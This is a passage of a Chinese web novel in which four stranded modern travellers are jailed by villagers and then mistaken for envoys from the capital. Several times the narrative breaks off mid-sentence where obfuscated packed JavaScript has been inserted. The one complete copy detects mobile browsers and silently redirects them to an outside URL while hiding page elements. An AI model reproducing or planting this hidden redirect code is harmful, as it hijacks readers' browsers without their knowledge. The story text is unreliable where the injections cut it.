宝石通体湖蓝透亮，内无瑕疵，没有色带与裂隙，细细镌刻的纹路布满表层，隐隐发出微弱的光。 这东西一看便知价值连城，也不知为何会放置于此。难道只是有钱人的怪癖吗？ 郝乐宁的目光过宝石，宝石下方却没发现能带着它转动的巧妙机关。 “要碰它吗？”陈哥问。 郝乐宁一回想起昨天的事，犹自后怕：“还是算了。你没有经历过，这玩意发出的动静简直要把脑子给炸飞。我和许巧星两人甚至有十几分钟听不见声音，要是再来一次，我怕我这辈子都聋了。” 说罢，她退后两步。 “可能这就是什么有钱人放家具的小楼。”郝乐宁端详一番，抚着下巴开玩笑，“这么大的桌子，楼梯却窄。难道他们搬上来的时候有吊车吗？” 陈哥却没有笑，脸上表情淡漠：“既然没有发现，要不要回去？留许巧星一个人，待久了不好。” 郝乐宁点头：“好。这墙上石头会发光，我们现在没法给手机充电，用不了手电筒。你等我试一下，看我能不能砸两块小一点的下来。” “那你快点。” 正当他们交谈之时，没注意到，两陌生人从楼梯口抬腿上来。 郝乐宁仍在找适当位置动手，却被陈哥拉了一下。她的鼻腔发出“嗯”一声，回过头，与那两人对上视线。 四人面面相觑，房间内顿时鸦雀无声。 那两人站在楼梯口，一女一男，戴着绣有繁琐纹路的头巾，皆着一身纤尘不染的金色长袍，举手投足之间，气质不凡。脸上表情却是凝固的，半晌才微微张口，似有话要说。 此时此刻，许巧星和日出把屋内的椅子搬到外头，两人坐着晒太阳，啃着肉馅煎饼，谈天说地。 当许巧星见日出蹦蹦跳跳地出现在小路尽头，心里提着一口气。但日出这孩子言行信果，没有将他们的存在半分透露给旁人。她推门找了半天人，许巧星见无碍，才装作自己正归来，立在远处的草丛中喊她。 日出立马朝她跑来，兴高采烈地说道：“我以为我来的不凑巧，你们都出去了呢。” “他们出去办事了。我没走远。” “哇哦！是因为我要来玩吗？” 许巧星对此不置可否：“也可以这么说吧。” 日出眼笑眉飞：“姐姐你真好！” 见这孩子真心实意想跟她玩，而自己满心只想从她口里骗到消息，颇没意思。许巧星内疚地拍了拍她的肩膀，掩盖自己的语无伦次：“你，你说你来找我们，是有什么事情吗？” “我想听听你们外面的事！我从未离开过这里。”日出不知从何处掏出两块煎饼，分给许巧星一块，“随便说点什么都好。” 日出坐在椅子上，她身高不够，脚够不着地，来回摆动。她脸颊绯红，一个问题接着一个问题朝外吐了出来：“你们也有会说话的灵鸟吗？你们使者是从小就是使者的吗？当使者要不要念书考试？姐姐你是不是去过很多镇？” 许巧星应接不暇，绞尽脑汁，胡编乱造。 日出双掌托着下巴，听得认真，显然是信了。 “我以前大多数时间都在上学，也……很少去外地。”许巧星编不下去了，抬手抚去额头的汗珠。 日出错愕地瞪大眼睛：“你已经成了使者，还要上学念书啊——” “呃，要的。”许巧星不愿再瞎编胡话，扯了两句要终身读书的大道理。 日出说：“有的话本上，外面的小孩子却是整天在外头玩耍的，念书想去几节课就去几节课。有人说这话，还被师保训过呢。” 许巧星扯出一个假笑：“是吗？” “对呀！我那天还说怎么可能！”日出又说了一些别的。 许巧星没仔细听，转念一想：“你怎么有空天天往外面跑？你就不用念书吗？” 日出脸上晴转阴：“要啦！但是最近镇上忙，我们要给家里帮忙，就停了学堂。但是我今早出门前，听我娘说，使者很快就会走了。虽然以后可以去河边玩，可我一想到要听师保讲课，就无趣犯困。以后每天都要被他管着，字写不整齐就要罚站，背不出书也要罚站。天天站、站、站，我上一天的课，板凳都捂不热。” 许巧星陪日出聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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塔内。 郝乐宁思忖片刻，扭头对陈哥说道：“这是哪里的方言？你能听懂他们说话吗？” 陈哥摇头。 方才，器宇不凡的金袍人在他们面前引吭高歌，一人接着一句，前后呼应，像在开什么双人合唱会。 郝乐宁与陈哥警惕地站在原地不动。她还以为是哪门子的咒语，如临大敌，提防他们动起手来。然而过了好一会儿，半点动静也无，几双眼睛相互对视。 两位“学习不好”的使者张口歌吟，念的不是咒语，只是寻常问话。他们旋即意识到，眼前的人是听不懂自己说话的。 郝乐宁语气迟疑：“他们看起来，也不像坏人。不会把我们抓走吧？我们什么也没做啊。”说到最后，越来越弱，这话她自己听了也心虚。 “我们擅自闯进来，我们才是坏人。”陈哥淡淡地回她。 霍然，使者向前跨出一大步。 郝乐宁吓得连连后退，不知他们要做些什么。 只见，两位使者脸上露出茅开顿塞的神情，态度变得恭敬，竟是向他们微微欠身作揖。 “这是要干嘛？”郝乐宁没反应过来，“先礼后兵吗？” 陈哥摇头：“好像不是。” ——“不想两位大人竟大驾至此，应当是谨奉神命来视察。塔有异象，以致珍宝大放异彩。大人备尝辛苦，为土地之安宁操劳不歇，实在勤恳。”使者的目光越过郝乐宁的肩膀，望向她身后，脸上的笑容也变得放松，“多谢相助。” 郝乐宁见使者几乎热泪盈眶，更不知所措。 ——“我们会不负所托，早日完成圣命。回王都后，孚大人定能借此机会立功赎罪。各位这番雪中送炭，让我们铭感不忘。” 于是，郝乐宁张口结舌地注视眼前的一切。那两人唱完歌，又行礼退了出去，好似什么都没发生过。 7. 第 7 章 亭午时分，炊烟缓缓攀升。本有点冷清的白沙镇，短暂恢复了热火朝天的气象。 幼童前后追打着冲进房子，屋内人声嘈杂，动静几乎闹翻屋顶。长辈在外忙碌，孩子们由几位年高望重的老人管束着，寻了一间大堂，聚在一起用饭。 日出又央求许巧星给自己讲了几个故事，估摸着时间，赶在饭前匆匆下山。 “日出，这两天怎么没看见你？”一孩子问道。 “啊？我有我自己的事。”日出扬起下巴，故作成熟深奥。 “快说，你可别找到了什么好玩的，还不带我们。要讲义气，够不够朋友？” 日出捧着半碗米饭，只顾摇头不言。正因为她讲义气、够朋友，她才不会说呢。 附近几人七嘴八舌。“我看见日出自己进山了。” “哪有什么不能说的？还是说，啊！你不会……发现了狼窝吧？” 不及日出开口，就有另一人连忙反驳：“我们的山里没有狼，狼是话本里的。” “那你说她找到了什么不告诉我们？” 几个玩伴的目光聚集在日出脸上。日出被人戳到心事，支支吾吾地说不出话，便往嘴里塞饭菜。 有人用怜悯的眼神看着她：“因为有使者在，你家里不准你去河边。所以，你是不是去山上偷偷地看我们玩了？” 日出因“使者”二字呛到了，咳了几声，艰难咽下，忙不迭说：“咳，才没有呢！” “你等一下和我们一起放草笼吗？” “我不去。” “是师保说的。” “那我也不去。”日出用筷子夹起骨头，丢给蹲守在边上的小黄狗。小黄狗摇着短尾巴，把骨头叼走了。她又站起身舀了半碗汤，仰头一口气喝毕，下凳，拿碗去水池清洗。 日出本想快些离开，可一躁，动作过于粗鲁，水溅得到处皆是。 这场景被一眼尖的老婆婆无意间瞧见，硬拉着她不放，教训了她两句，又叫她把湿掉的外袍换下。 日出心不在焉地听着碎碎唠叨。 她人站在水池边，那颗跃动的心却已飞到郁郁葱葱的山上。她看堂内的孩童三三两两结伴离开，急了，便趁婆婆回去拿干净袍子的功夫，打算开溜闪人。 日出那毛绒绒的脑袋斜探出门。天气甚好，清晨下过小雨，暖阳高照，空气再清爽不过。三五个朋友竟然在门外不远处，他们手里提着草笼，正在朝她招手。 “我不去，不去。”日出拼命摆手，做口型拒绝。 而在门外的另一个方向，他们的临时里正——海生正在与师保仔细商谋。 海生近日在使者那处忙前忙后，难得归镇，罕见到人影。而眼下，他们多半又是在谈论丢失的宝物一事。日出对此兴趣缺缺，满心只想绕开师保。 她想赶紧过去山上找许巧星，指不定哪天他们完成了圣命，就要离开白沙镇。路遥遥漫长，以后可就再也见不着了。 可她没有偷溜成功。师保瞥见了她。 “日出，你过来。”师保立在原地不动。 玩伴有一人幸灾乐祸地重复：“日出，师保喊你——” 日出瞪了一眼他，那人嬉皮笑脸地朝日出做鬼脸。 师保又喊：“日出——” “来了来了！”日出不情不愿地挪到师保面前，作揖到地，“师保安！” “你这几日没在镇上吗？” “没，去山上了。” 幸好师保没追问，话锋一转：“有学生今日找我，说自家在院子里晒出来的鱼虾不见了，地上掉有红色长羽。我一问才知，已有两户人家晒过的肉丢了。我猜——是又闹桑窃了。桑窃去年没来过，未料到此时冒头。” 他继续说：“使者说，或许是那件失落珍宝将其引来的缘故。但不管如何，桑窃是不能留在镇上的。” 桑窃是一种酷爱食肉的红鸟，擅于捕猎，但更愿去捡漏，往往成双成对地出现。它们小巧艳丽，比巴掌略大，通体火红，犹如熊熊烈焰。 它们不会伤人，只是觅食时爱投机取巧。据说，它们逃跑时会变幻出巨影。如此灵鸟，镇外的简单符板是挡不住的。 师保曾说过，有人曾见其可爱，心生喜，刻意去投喂。可桑窃的羽毛与肉皆可用以避火，而有心人竟借桑窃与人亲近，抓来拔毛取肉。故而，一旦发现桑窃，须要佯作凶恶，将它们狠狠训斥责骂一顿，再带到人迹罕至之处放飞。 师保鼓励地看向日出：“我和海生有事要忙。你平日里虽有些粗心，但在一些事上格外笃实尽责。你带着他们几个在镇上布置草笼陷阱，好把桑窃抓了。” 说罢，一只胳膊压上日出的肩膀，朋友们笑着说：“日出，我们早就喊你一起来啦。” “现在去吗？”日出仍在犹豫。她虽没有与许巧星约好下午见面，但是…… 他们咯咯笑了：“当然是现在。你可别等桑窃偷吃了你的晚饭，那只能饿肚子啦——” 师保当面托付的重任，日出不得不答应。她接过朋友递过的草笼，孩童们簇拥着她，用肩膀相互撞着对方，打闹嬉戏。孩童玩性大，日出很快被逗得笑逐颜开，将山上之事抛于脑后。 “日出！”在屋内找不到人的老婆婆迈出门，手里还拎着一件衣袍，“你人跑哪里去了？不是让你等我的吗？快回来把湿的衣服换了。” “哦哦。”日出只好返回来换衣服。 师保在身后提醒：“你们小心些，别伤着桑窃了。” 海生目视孩子们离去，同师保说道：“你稍等我片刻，我要回家换身衣服。一会儿我们一起去找使者。我听使者说，不日会有另一些人从王都赶来此地，东西什么均要准备妥善，以免招待不周。” 师保颔首：“那我先去找人准备。” 他同几位老人商议过后，却见到海生面色阴沉地站在门外，不禁问道：“出什么事了吗？” 海生静默半晌，拿出一条白色的细绳子，递给师保：“衣柜里少了衣服，而我在一旁的篓子里发现了此物。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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另一位使者抱着一沓刚刚晒过的纸，敲门，迈步走了进来。 那一沓纸被放在孚安身旁的架子上，鸟伸长脖子，企图飞上架子。使者头也没抬，抬手按回了那颗鸟头。 使者用那种古奥拗口的神语说道：“大人，您从昨天起便提笔不歇，费力劳心，宜去暂息。” “我前日收到来信，正使不久后抵达此地，未曾想今日你们于圣塔内撞见他们。然是王都甚忧此事，我怎敢停下？”孚安摇头，“定要在五日之内完成圣命，否则我心不安啊。” “既有正使相助，您何必再自寻烦恼？” 孚安抽出一张纸：“这更令我惶恐。正使来此地，却不与我等相见，你猜这是何意？” 使者摇头。 孚安感戴莫名，叹了一口气：“正使未言，暗中从旁协助，使我们可把功劳尽揽啊。” 他继续说道：“我思之，是正使令我们独自完成，便于复命。他们德行卓著，非只语片言所能一述。可他们有心，我们却不能如此。待归都后，定要多表几封，细细禀报，以赞正使的赫赫功劳！” 使者听了，不禁呆住。 “我观先前卦象，上天令我积微成著、静观其变。如今，时机已到。” 又有一人进屋：“外头说有要事与大人商议，请大人移步。” “走吧。”孚安放稳笔，朝窗台举起胳膊。 白鸟从善如流地跳到他臂弯上。 8. 第 8 章 有一头行车兽踱步而来，打了一个响亮的鼻鼾，垂下头。行车兽养得壮硕彪躯，站起来比人还高，二人连忙避开道。 庭外，海生与师保见到孚安，忙不迭递上那条捡来的细绳。海生言简意赅地叙述一遍，孚安神情微凝，从海生手中取过。鹦鹉嗓门尖锐：“你家里丢了什么吗？” “仅四件外袍，也没有别的东西。”海生答，“镇上虽无贵重之物，但你们身负重任，若少了什么要紧的，误了大事就不好了。也想请你帮忙算一下，贼人此时身处何处？我们好去抓人。” “多谢提醒。可附近山川河流或被宝物所扰，未必能知。”孚安收起细绳，他又道，“桑窃灵鸟大抵亦被失落宝物引来。此为我等之过，后当救过补阙。” 鹦鹉译完主人的话，扇翅起飞，欲飞向那头行车兽。 孚安没拦住，喊了一声也没把鸟唤回，颇为无奈。 这鸟素来嘴欠，闲来无事时，会以捉弄行车兽为乐。行车兽性情温顺，可一旦被惹急了，会下口咬鸟。曾赶车途中，扭头扯掉了鸟的几根尾羽。 而这鸟专横作威惯了，唯我独尊，哪准别人忤逆报复它？不等消停半天，变本加厉地骚扰回去。 这梁子算是结下了。 鹦鹉刚想落在行车兽身上，被躲开了。行车兽从喉管中发出的呜咽震慑音，把鸟赶了回来。虽行车兽颇具灵性，倒也不会真下死口，孚安仍不放心，伸手去把鸟抓回。 鸟被惊飞，见孚安敢不帮自己，深感背叛，一怒之下转移了目标。它落在孚安肩膀，用那副破铜嗓子歇斯底里地尖叫。 孚安单手捂着耳朵，正欲出言训斥。他转头看见海生与师保仍在等他，尴尬一笑。 海生抱拳：“来知会你们一声。这贼人未必是镇上人，或是流窜至此。我这几日会带人去附近仔细巡视，也请安心。” 孚安欲言又止。反复琢磨，仍是未言，颔首致意而已。 海生继而向孚安汇报河上状况：“我们打捞起来的几乎是鱼虾蟹。剩下的，均已交给使者过目，只不过一般石子杂物。” 师保叹了一口气：“幸亏宝物不会被水流冲入海中，否则真是无可奈何。如今已经能定其位置，可宝物如冰入水，不见踪迹。本想以灵力搜寻，可一川因其缘故而灵力四溢，实在是杳无进展。” “按使者所说，若再无收获，只好行断河引水之术。”海生说，“此术大耗，稍有不慎就会危及河中生灵性命。望不必走到这一步。” 山上。许巧星送走日出，便见郝乐宁与陈哥归来。 “怎么样？”许巧星把椅子搬回屋，乍一转身，就见到郝乐宁进屋，她迎接上去，“你们有发现吗？” 郝乐宁上前按住许巧星的肩膀：“我们是没什么发现，但别人发现我们了。”她把塔内之事说了一遍，声音微抖，“我们盯着他们走的，他们出塔后，是往河边的方向去了。我们确定没人跟上来，再回来的。可是！他们回去后，肯定会说的。” 此事离奇。许巧星大惊，也觉得蹊跷，抓了抓头发，问她：“所以他们一点反应也没有，就这样出去了吗？” “对啊！还跟我打招呼。” 许巧星扶郝乐宁坐下，思来想去：“那有没有可能，这地方是什么公共场所，人人皆可以去的？” “不知道。” “你听不懂他们讲话？”许巧星把从日出那儿听来的消息告诉他们，边想边说，“日出刚走，她也和我说，镇上人听不懂使者说话——你们碰上的应该就是使者，你们穿着这身衣服，他们可能误以为你们是镇上的人，所以没多想就走了。” 郝乐宁冷静一些：“你问了日出，那地方是做什么的吗？” 许巧星倒了杯水：“她说自己不清楚，也没有去过。她还以为这塔与我们来此地的原因有关，我也不好再往下问了，怕问多了露馅。” 许巧星安抚她：“他们当时直接放你们走，你们都已经回来了。现在应该不会再有事。若要紧，是不会让你们离开的。” “但愿如此。”郝乐宁拧眉，叹了一口气。 陈哥则从旁说道：“不管有没有事，我们也不应该在这久留。” “那我们接下来去哪里呢？”许巧星咬住下唇。 人生地不熟，他们认识的人唯有日出这一稚嫩幼童，对外头世界一问三不知，兜里比脸上还干净，恐怕寸步难行。 更别说他们还要找回家之路。她辗转反侧，日夜悬想。失踪到此刻，奶奶肯定已经去报警了。老人家若没日没夜地煎熬寻人，再硬的身子骨也扛不住…… 许巧星脑海里一浮现出奶奶红着眼圈哀嚎她名字的画面，便心慌意乱，坐立不安。 她缓慢说道：“我问过日出，她说自己从未听过能把人送去很远的法术。但是，我不清楚是小孩子的知识面有限，还是真没有。” 郝乐宁再叹了一口气。 陈哥坐在床上，淡淡地说：“我们可以去别的地方问。这里既然有山村，我们找一条大路，沿着路走，能走出去的。” 郝乐宁回他：“可是我们没有食物。这路上能露宿，可不能真喝西北风。我们不知要赶几天的路，人是会饿昏的。”她摸了摸自己扁扁的肚子，“我已经快饿疯了，走路也使不上劲。别说抓野物，除了天上飞的鸟，我连其他活物的影子都没见着。” 陈哥没说话了。 许巧星把洗净的果子摆在桌上，推了几个给郝乐宁。郝乐宁欲哭无泪地接过果子。 许巧星道：“我让日出下次上山的时候，给我们多带点食物，更不要被别人发现了。她同意了。” “好，好。”郝乐宁终于听见了一个好消息，“再饿下去，我们真的要进别人家偷吃的了。” 她们扯了两句闲话，实在饿得发慌，只好省着精力养神。 过了许久，司机回来，见这三人一动不动，咳嗽两声。 许巧星与郝乐宁又把事情三言两语复述一遍，司机从桌上捞起果子就啃：“那应该就是——把我们当成是本地人了。那什么使者跟本地人语言不通，也刚来没多久，不可能把镇上所有人的脸全给记住。应该没多大问题。” “可是我们再待下去，迟早会遇见镇上居民。”许巧星忧虑地说。 “反正衣服也有了，我们换地方吧。” 郝乐宁道：“既然日出明天会带吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988139|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上山，那我们在这里再借住一晚。明天再走。” 另外三人没有意见。 “车子那边？”许巧星问司机。 司机一拍脑门：“差点忘了。我老远看见，车子就停在岸边。我还试了一下能不能发动，车子好像彻底报废了，没有一点反应。” 郝乐宁抬起头：“知道是哪里出问题吗？” 司机挑眉：“我不是维修班的，哪里看得出来？再说，维修班的同事也要手头有工具，才能知道里面啥故障。我寻思就不是车的问题，一辆普通的车，我开了这么久，我没听过还能海陆两用！总不可能在我手里成了精吧？” “其实，我还有点指望，它成精后能带我们原路返回呢。” “做梦吧。” 深夜山林寒气逼人，月光泄地，漱漱雨声，树叶沙沙。 待夜色深了，几人便躺到床上安睡。 许巧星平躺在冰凉的硬木床上，盯着天花板发呆。她回想起那些平平无奇却有温馨的日子，不知何时才能回家。 她伸出手，揉了揉眼睛。 “没事，我们陪着你呢。”郝乐宁竟也没入梦，她翻了个身，轻声对许巧星说，“你早点休息，养好精神。明天还要赶路呢。” 许巧星吸吸鼻子，应了声好。 林间一阵劲风骤然刮过，不知何处，一只惊鸟又细又亮地叫了声。许巧星听着雨声不断，渐渐有了睡意。 直到—— 木门和地面剧烈摩擦，发出“吱呀”的尖锐声。刺眼的光芒从木门外射入。 许巧星猛地惊醒，没等她起身，伴随一声严厉质问，一个人不由分说地制住她的手脚。 许巧星的脖子被一支胳膊大力压住，如铁钳般，她几乎无法呼吸。 好痛！松开我！ 许巧星双手撑着那人的胳膊，正欲挣扎，可是那人纹丝不动。她被灯光刺得双眼流泪，泪水糊在眼眶，她只能看个大概。 模糊的视线中，是一张陌生的脸。 不知是哪个同伴，与人厮打起来，却被几人一起蛮横制住。 许巧星胆战心惊，大脑一片空白。 那人是寻常山民，或许感受她气息微弱，稍稍放开了许巧星。 屋内有一人在说话：“真有外人来？” “是！有四个人！” “年纪还不大。”制住许巧星的那人嗤笑着说，“啧。有手有脚，不好好种田务农，也不去学门手艺。” 怎么办？ “咱们这儿八百年没来人，这段日子里倒迎来了不少贵客。” “或许是因别的缘故，他们留下的东西可比偷走的衣服值钱多了。这些人可能和王都……事关重大，全带回去。” “也不知道他们还有没有同伙？” “我跟你守在此地，接下来几日会多带人在山上巡逻。” “好。” “辛苦各位了。” 一只手把带有甜腻香气的小药瓶强硬地塞在许巧星鼻下，她下意识扭头躲开，却被按住脑袋。她昏昏沉沉，眼皮旋即沉重，很快便不省人事。 我不想死。这是她昏迷前的唯一一个念头。 9. 第 9 章 砰！ 砰！！ 砰！！！ 当许巧星醒来时，她正倒在冰凉地面上，双手被反绑在身后。她恍恍惚惚，头疼欲裂，只听见有人正在使劲撞门。那道撞门声丝毫没有停歇的意思，门响一下，许巧星脑门上的筋就弹一下。 她听见郝乐宁蔫蔫地道：“没用的，撞不开。而且这扇门外一定有人看守，你省点力气吧。” 司机怒不可遏：“那我也不坐着干等！倒是要让他们看看马王爷有几只眼！还讲不讲理了？一句话不说，什么也不问就把人关黑屋？” “你这不是撞不开吗？万一把他们惹急了怎么办？” “那好歹让我见见管事的！喂！有没有人啊，跑哪去了！”司机朝门外高喊。 而陈哥的嗓子极不舒服，撕心裂肺地咳嗽。 司机继续撞门，可外头没人回答。 许巧星像一条蠕动的虫子，挣扎着坐起。 这间房间除了他们外，空无一物。窗户被木板封死，那扇质量甚佳的门此时牢牢紧闭。她不知此刻白天黑夜，墙上留有一盏石灯在发光。 许巧星手脚无力，暗自佩服司机身体素质惊人。在手脚皆被绑住的情况下，依旧能坚持不懈地撞门。 郝乐宁劝司机不起效，拿他无可奈何，余光瞥见许巧星醒来，便转头问她：“你还好吗？” “嗯。”许巧星嘶哑着嗓子，“除了喉咙痛。”她低头看见脚踝上绑有粗草绳，十分坚固，挣脱不开。背后的双手大概也是被这样绑了，“你们醒来多久了？” “只比你早一点。”郝乐宁见许巧星的动作，解释道，“我们试过了，解不开。” “外面有人吗？” “没人来过。醒来到现在，没见到人。” 门被震下一层薄薄的灰，司机终于疲惫地瘫在地上，大喘粗气。陈哥缩在角落，捂着嘴，时不时咳嗽几声。许巧星对上郝乐宁的视线，她明白此刻境地有多糟糕了。 “昨夜……我当时有听见那人说什么有手有脚的，做什么不好之类的话。他们是不是误以为我们是小偷，所以……”许巧星话说一半卡壳了，他们这几人实实在在跑别人家里偷过衣服，若说他们是小偷，罪名也名实相符。 糟糕透了。 “早知道有今天，我宁愿旷工也不会去上班。”司机倏忽开口，“赚点死工资，起早贪黑的，招谁惹谁了？” “哪个不是？”郝乐宁苦笑。 陈哥苍白的脸颊因剧烈咳嗽而涨红，他缓了良久，闭着眼说道：“世界上没有后悔药吃。” 许巧星长长叹气。天底下要真有后悔药吃，她宁愿装病请假，也不会上那辆公交车。无妄之灾，她本该坐在课堂里上课，写写题、发发呆，听着同学的谈笑声，而不是被关在一个昏暗牢房里，叫天不应叫地不灵。 司机又问道：“会是那个小姑娘找来的吗？” “那也应该。我要是她家里人，知道她独自一人去荒山见四个生人，魂都要被吓飞。”陈哥冷笑，“现在说这些也无用了。” 半晌，司机有气无力地吐出三个字：“后悔啊——” 许巧星缩了一下肩膀。她心想，日出要是知道他们是骗子，又会是什么反应？会不会冲过来当面控诉这几日的谎言？其实，日出更有可能被令行禁止不要再靠近这群躲躲藏藏的外来人。 要是能见到，得说声对不起。 许巧星脸上愁云惨雾，可也有些嘀咕犯委屈。她当然想堂堂正正地走在大街上，可她乍然出现在此地，人生地疏，两眼一片漆黑，不得不怕。 不过，这几天看来是瞎折腾、白忙活了。一夜之间前功尽弃，几人依旧被抓进牢房。 之后若问起身份来，要是答不出，那些人会不会以为是哪跑来的命犯，对着他们严刑拷打？ 许巧星有口难辩，欲哭无泪：“我们想一想要怎么解释吧，等一下说不定要对口供。要是答得不一致，嫌疑就更大了。” 司机心存侥幸：“咱们只偷了衣服，没别的财物，或许还好解释。” “那不一定。”郝乐宁给司机泼冷水，“别想太好。” 许巧星思来想去，踌躇不决：“能不能说家乡受灾，同乡流亡在外？” “若他们问起家乡在何处，我们又该如何回答？” 郝乐宁摇头：“虽饿了几天，但我们的神态也不像那些面黄肌瘦的流民，易被看穿。况且若有受灾的流民流落至此，白沙镇不是全然与世隔绝，多少能会听见山外消息。这种谎言，只要稍一打听，就会被揭穿的。” 司机回答：“我们能糊弄多久是多久，尽早跑路才是正道。” 郝乐宁转念一想：“也对，又不久待。” 正当众人商议之时，无人察觉，门被悄然推开一条缝隙。 躺在门边的司机对上一双眼睛，不禁喊了一声，外面的人作势想把门合上。司机情急之下把脚往缝隙里塞，想把门卡住。可他行动不便，只挪了一半。 眨眼间，那门又关上了。 众人惊疑交加。 陈哥把头重重地靠在墙上：“太不小心了，我们怎么谁也没注意到？” “外面的那个人，他听见了吗？”许巧星心中一沉。 司机坐起身：“不一定全听到了。我们也没人有听见外面的脚步声，这门应该隔音不错。”话虽如此，但他表情凝重，说出来更像是自欺欺人。 这下没人说话了。 司机守在门旁守株待兔。许巧星脸上一片灰暗，看看司机，又瞧瞧死气沉沉的郝乐宁和陈哥，不知如何是好。 屋内一时噤若寒蝉。 司机不知哪来的胆，语不惊人死不休：“要是他再过来，我们就把他给绑了。逃出去后，等安全了再放人。” 郝乐宁几乎是哀求的语气：“你别说了，万一又被听见。本来只是偷衣服，我们还不至于判死罪。” “我只是说说而已。” “你别说了。” 司机闭上了嘴。 许巧星仍不放心，过了一会儿喊他：“要不，你坐过来点。别坐在门边上。” 等海生皱眉走入时，屋内四人萎靡不振，好似几条半死不活的鱼。他清了清嗓子：“刚刚有人来报你们胡乱串口供，意图潜逃。” 许巧星心慌意乱地抬头看他。莫不是要用刑吗？ 来人相貌平平，并非立眉竖眼、杀气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许巧星脑中浮现出高墙监狱的画面。她若被关在行监坐守之地，不知何年何时才能出来？更不知何年何时能归家？ 少小离家老大回，乡音无改鬓毛衰。旁人是荣归故里。难不成等许巧星回家时，街坊邻里要是问了，她总不能说，自己在千里迢迢之外蹲了牢房，不久前才刑满释放吧？ 她顿感天昏地暗。 正当许巧星悲痛，门口又走进来几人。原本空旷的屋内被挤得满满当当，海生咳嗽两声，让镇上人出去。 师保在前领路，他侧过身，对旁边的人恭敬地说：“使者大人，偷摸进村的人已经被抓到了。若这几人与失落宝物相干，便交予您来处置。” 孚安颔首。虽可能性不大，但总归要去看一遍。在宝物之事上，他不得不谨小慎微。正是因一时疏忽，宝物为人所窃…… 旋即，他和另外两位使者踏入门槛，看清这几位疑犯的面孔后，皆发出一声惊讶呼声。 停在孚安臂弯上的那只白鸟见状，也嗷嗷大叫。 郝乐宁瞪大了双眼：“怎么会是他们？”走在孚安身后的人，正是她和陈哥在红塔内恰巧撞见的奇怪人。 屋内有人开口：“他们竟让大人如此震惊失色，难不成是王都来的逃犯吗？” 那两位使者吓出一身冷汗，孚安摇头，急着上前去解开绳子。白鸟高声大叫：“这不是俺们王都要来的正使大人吗！” 10. 第 10 章 许巧星从未想过自己会过上如此颠荡起伏的生活。 一周前，她还在为考试成绩忧心，眼下却朝不保夕地漂泊。两日前，她在林子里摘果子当野人，昨天被人下了狱，转眼间又人毕恭毕敬地请了出来。 她心里五味杂陈地走出门，才发现关押的监狱不过一间被临时搬空的仓库，杂物全堆积在一侧走廊，还需人侧着身，贴着墙出去。 金袍使者与海生诚惶诚恐地解释，许巧星不明所以，从零碎的话语中拼凑出真相。 使者收到从王都寄来的信件，信上说因使者寻找宝物一事停滞不前，不久之后会有正使前来相助。她与郝乐宁那日进塔，误打误撞，塔中宝物与丢失圣物交相辉映，竟让他们苦苦寻觅到一丝丢失圣物的踪迹。 那红塔属禁地，非领命不可擅自入内。寻常人唯恐避之不及，只有像许巧星这样的外乡人才敢两眼一瞎往里闯。 许巧星一面腹诽这般重要的地方也不派人看守，那经久未修的门锁怕是日日在海边风吹雨打，早就腐烂生锈。她一面要应付使者恭而有礼的问候，怕多说多错，旁人仍只当他们被冒犯后还在气头上。 他们进塔是被当面逮住了的，这下哪敢说自己不是那什么正使？ 这顶帽扣在脑袋上，是想摘也摘不掉了。 四人默契地隐下入塔时的细节，神情复杂，面面相觑。 他们被请去使者所住院子。使者在门内外穿梭，匆匆搬去杂物，硬生生腾出一栋明净的屋子让给他们暂住。话里话外更是怕得罪他们，不停解释，生怕改日回朝后参上一笔。孚安和海生侍在旁赔笑，几名壮硕的人此刻已在院内搬来上好的木质桌椅，又摆上鲜果茶点。 这几人许久没吃过饭，饥肠辘辘，若不是还顾及人多，早就扑到桌前狼吞虎咽。 至于那四件被偷走的衣服，司机胡扯一句衣服坏了没地方买，又不想叨扰，留下金刚石作为补偿。便无人再多问了。 十几人把他们围在中间，簇拥左右。许巧星浑身不自在，寻了一个借口挤了出来，挑了人少的一处，去拿桌上的米糕吃。这几日食不果腹，这糕点一下肚，她近乎要感动至落泪。 金光下满树枝叶油绿，庭院一隅池塘清凉，大小不一的紫萍缝隙中倒映湛蓝天色。 有人见许巧星独自一人，忙不迭迎上前，问是否侍奉不周。许巧星笑着推辞几番才摆脱，一脱困便躲得更远了。这些人的言行称得上是讨好他们，不禁使人想起谎言被揭穿时的一幕。假冒官员招摇诈骗，往往是重罪，轻则发配充军，重则斩首落地。 她打了一个寒颤，他们得要找时机跑路。她又远远看见陈哥也溜了出来，却没逃掉，被几人拉去吃茶。 此刻院内摆起宴席，正是要在今晚为正使们洗尘接风。 郝乐宁则在糊弄孚安。 孚安肩上的白鸟问：“花正使近来如何？” 郝乐宁哪里知道“花正使”是什么人物，听起来像是孚安的熟人，抑或者是正使里的老大，她亮出上班时的公式笑容：“你也知道，就是老样子。” “难为她多操心了。” 郝乐宁矜贵地颔首。她不留痕迹地打量孚安与他肩上的鸟，头一回见鹦鹉说话这般流利，竟还用来做翻译，真稀奇。 孚安再问些什么，郝乐宁全以“你也知道”“就那样”“还好”这类回答糊弄。孚安似是察觉出来郝乐宁的敷衍，低头不语。 郝乐宁误以为自己说错了话，见他如此心念王都，迟疑地加上一句：“你回去就能看见了。” 孚安没答，倏忽抬头，郝乐宁却看这人泪水盈眶，唬了一跳。 